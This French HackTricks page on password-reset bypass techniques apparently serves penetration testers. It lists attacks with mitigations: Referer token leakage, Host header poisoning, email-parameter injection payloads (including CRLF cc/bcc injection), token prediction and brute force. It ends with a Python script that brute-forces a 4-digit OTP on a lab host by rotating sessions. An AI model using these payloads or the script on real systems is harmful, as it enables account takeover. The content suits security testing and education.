Réinitialisation/Mot de passe oublié Bypass

Reading time: 10 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Fuite de jeton de réinitialisation de mot de passe via le référent

  • L'en-tête HTTP referer peut fuir le jeton de réinitialisation de mot de passe s'il est inclus dans l'URL. Cela peut se produire lorsqu'un utilisateur clique sur un lien d'un site tiers après avoir demandé une réinitialisation de mot de passe.
  • Impact : Prise de contrôle potentielle du compte via des attaques de Cross-Site Request Forgery (CSRF).
  • Exploitation : Pour vérifier si un jeton de réinitialisation de mot de passe fuit dans l'en-tête référent, demandez une réinitialisation de mot de passe à votre adresse e-mail et cliquez sur le lien de réinitialisation fourni. Ne changez pas votre mot de passe immédiatement. Au lieu de cela, naviguez vers un site tiers (comme Facebook ou Twitter) tout en interceptant les requêtes avec Burp Suite. Inspectez les requêtes pour voir si l'en-tête référent contient le jeton de réinitialisation de mot de passe, car cela pourrait exposer des informations sensibles à des tiers.
  • Références :
  • HackerOne Report 342693
  • HackerOne Report 272379
  • Article sur la fuite de jeton de réinitialisation de mot de passe

Empoisonnement de réinitialisation de mot de passe

  • Les attaquants peuvent manipuler l'en-tête Host lors des demandes de réinitialisation de mot de passe pour pointer le lien de réinitialisation vers un site malveillant.
  • Impact : Conduit à une prise de contrôle potentielle du compte en fuyant les jetons de réinitialisation aux attaquants.
  • Étapes d'atténuation :
  • Validez l'en-tête Host par rapport à une liste blanche de domaines autorisés.
  • Utilisez des méthodes sécurisées côté serveur pour générer des URL absolues.
  • Patch : Utilisez $_SERVER['SERVER_NAME'] pour construire des URL de réinitialisation de mot de passe au lieu de $_SERVER['HTTP_HOST'].
  • Références :
  • Article Acunetix sur l'empoisonnement de réinitialisation de mot de passe

Réinitialisation de mot de passe en manipulant le paramètre email

Les attaquants peuvent manipuler la demande de réinitialisation de mot de passe en ajoutant des paramètres d'email supplémentaires pour détourner le lien de réinitialisation.

  • Ajoutez l'email de l'attaquant comme deuxième paramètre en utilisant &
php
POST /resetPassword
[...]
email=victim@email.com&email=attacker@email.com
  • Ajoutez l'email de l'attaquant comme deuxième paramètre en utilisant %20
php
POST /resetPassword
[...]
email=victim@email.com%20email=attacker@email.com
  • Ajoutez l'email de l'attaquant comme deuxième paramètre en utilisant |
php
POST /resetPassword
[...]
email=victim@email.com|email=attacker@email.com
  • Ajoutez l'email de l'attaquant comme deuxième paramètre en utilisant cc
php
POST /resetPassword
[...]
email="victim@mail.tld%0a%0dcc:attacker@mail.tld"
  • Ajoutez l'email de l'attaquant comme deuxième paramètre en utilisant bcc
php
POST /resetPassword
[...]
email="victim@mail.tld%0a%0dbcc:attacker@mail.tld"
  • Ajoutez l'email de l'attaquant comme deuxième paramètre en utilisant ,
php
POST /resetPassword
[...]
email="victim@mail.tld",email="attacker@mail.tld"
  • Ajoutez l'email de l'attaquant comme deuxième paramètre dans le tableau json.
php
POST /resetPassword
[...]
{"email":["victim@mail.tld","atracker@mail.tld"]}

Changer l'email et le mot de passe de n'importe quel utilisateur via les paramètres API

  • Les attaquants peuvent modifier les paramètres d'email et de mot de passe dans les requêtes API pour changer les identifiants du compte.
php
POST /api/changepass
[...]
("form": {"email":"victim@email.tld","password":"12345678"})

Pas de limitation de taux : Email Bombing

  • L'absence de limitation de taux sur les demandes de réinitialisation de mot de passe peut entraîner un bombardement d'emails, submergeant l'utilisateur avec des emails de réinitialisation.
  • Étapes d'atténuation :
  • Mettez en œuvre une limitation de taux basée sur l'adresse IP ou le compte utilisateur.
  • Utilisez des défis CAPTCHA pour prévenir les abus automatisés.
  • Références :
  • HackerOne Rapport 280534

Découvrez comment le jeton de réinitialisation de mot de passe est généré

  • Comprendre le modèle ou la méthode derrière la génération de jetons peut conduire à prédire ou à forcer des jetons. Quelques options :
  • Basé sur l'horodatage
  • Basé sur l'ID utilisateur
  • Basé sur l'email de l'utilisateur
  • Basé sur le prénom et le nom
  • Basé sur la date de naissance
  • Basé sur la cryptographie
  • Étapes d'atténuation :
  • Utilisez des méthodes cryptographiques solides pour la génération de jetons.
  • Assurez-vous d'une randomisation et d'une longueur suffisantes pour prévenir la prévisibilité.
  • Outils : Utilisez Burp Sequencer pour analyser la randomisation des jetons.

UUID devinable

  • Si les UUID (version 1) sont devinables ou prévisibles, les attaquants peuvent les forcer pour générer des jetons de réinitialisation valides. Vérifiez :

UUID Insecurities

  • Étapes d'atténuation :
  • Utilisez la version 4 de GUID pour la randomisation ou mettez en œuvre des mesures de sécurité supplémentaires pour d'autres versions.
  • Outils : Utilisez guidtool pour analyser et générer des GUID.

Manipulation de réponse : Remplacer une mauvaise réponse par une bonne

  • Manipuler les réponses HTTP pour contourner les messages d'erreur ou les restrictions.
  • Étapes d'atténuation :
  • Mettez en œuvre des vérifications côté serveur pour garantir l'intégrité des réponses.
  • Utilisez des canaux de communication sécurisés comme HTTPS pour prévenir les attaques de type homme du milieu.
  • Référence :
  • Bug critique dans un événement de bug bounty en direct

Utilisation d'un jeton expiré

  • Tester si des jetons expirés peuvent encore être utilisés pour la réinitialisation de mot de passe.
  • Étapes d'atténuation :
  • Mettez en œuvre des politiques strictes d'expiration des jetons et validez l'expiration des jetons côté serveur.

Brute Force du jeton de réinitialisation de mot de passe

  • Tenter de forcer le jeton de réinitialisation en utilisant des outils comme Burpsuite et IP-Rotator pour contourner les limites de taux basées sur l'IP.
  • Étapes d'atténuation :
  • Mettez en œuvre des mécanismes robustes de limitation de taux et de verrouillage de compte.
  • Surveillez les activités suspectes indiquant des attaques par force brute.

Essayez d'utiliser votre jeton

  • Tester si le jeton de réinitialisation d'un attaquant peut être utilisé en conjonction avec l'email de la victime.
  • Étapes d'atténuation :
  • Assurez-vous que les jetons sont liés à la session utilisateur ou à d'autres attributs spécifiques à l'utilisateur.

Invalidation de session lors de la déconnexion/réinitialisation de mot de passe

  • S'assurer que les sessions sont invalidées lorsqu'un utilisateur se déconnecte ou réinitialise son mot de passe.
  • Étapes d'atténuation :
  • Mettez en œuvre une gestion appropriée des sessions, en veillant à ce que toutes les sessions soient invalidées lors de la déconnexion ou de la réinitialisation du mot de passe.

Invalidation de session lors de la déconnexion/réinitialisation de mot de passe

  • Les jetons de réinitialisation doivent avoir un temps d'expiration après lequel ils deviennent invalides.
  • Étapes d'atténuation :
  • Définissez un temps d'expiration raisonnable pour les jetons de réinitialisation et appliquez-le strictement côté serveur.

Contournement de la limite de taux OTP en changeant votre session

  • Si le site utilise la session utilisateur pour suivre les tentatives de mauvais OTP et que l'OTP était faible (<= 4 chiffres), nous pouvons effectivement forcer l'OTP.
  • exploitation :
  • il suffit de demander un nouveau jeton de session après avoir été bloqué par le serveur.
  • Exemple de code qui exploite ce bug en devinant aléatoirement l'OTP (lorsque vous changez la session, l'OTP changera également, et nous ne pourrons donc pas le forcer séquentiellement !) :
python
# Contournement d'authentification par réinitialisation de mot de passe
# par coderMohammed
import requests
import random
from time import sleep

headers = {
"User-Agent": "Mozilla/5.0 (iPhone14,3; U; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Mobile/19A346 Safari/602.1",
"Cookie": "PHPSESSID=mrerfjsol4t2ags5ihvvb632ea"
}
url = "http://10.10.12.231:1337/reset_password.php"
logout = "http://10.10.12.231:1337/logout.php"
root = "http://10.10.12.231:1337/"

parms = dict()
ter = 0
phpsessid = ""

print("[+] Démarrage de l'attaque !")
sleep(3)
print("[+] Cela pourrait prendre environ 5 minutes pour finir !")

try:
while True:
parms["recovery_code"] = f"{random.randint(0, 9999):04}" # nombre aléatoire de 0 à 9999 avec 4 d
parms["s"] = 164 # pas important, cela n'affecte que le frontend
res = requests.post(url, data=parms, allow_redirects=True, verify=False, headers=headers)

if ter == 8: # suivre le nombre d'essais
out = requests.get(logout,headers=headers) # vous déconnecter
mainp = requests.get(root) # obtient un autre phpssid (jeton)

cookies = out.cookies # extraire le sessionid
phpsessid = cookies.get('PHPSESSID')
headers["cookies"]=f"PHPSESSID={phpsessid}" # mettre à jour les en-têtes avec la nouvelle session

reset = requests.post(url, data={"email":"tester@hammer.thm"}, allow_redirects=True, verify=False, headers=headers) # envoie l'email pour changer le mot de passe pour
ter = 0 # réinitialiser ter pour obtenir une nouvelle session après 8 essais
else:
ter += 1
if(len(res.text) == 2292): # c'est la longueur de la page lorsque vous obtenez le code de récupération correctement (obtenu par test)
print(len(res.text)) # pour info de débogage
print(phpsessid)

reset_data = { # ici nous allons changer le mot de passe en quelque chose de nouveau
"new_password": "D37djkamd!",
"confirm_password": "D37djkamd!"
}
reset2 = requests.post(url, data=reset_data, allow_redirects=True, verify=False, headers=headers)

print("[+] Le mot de passe a été changé en :D37djkamd!")
break
except Exception as e:
print("[+] Attaque arrêtée")

Références

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks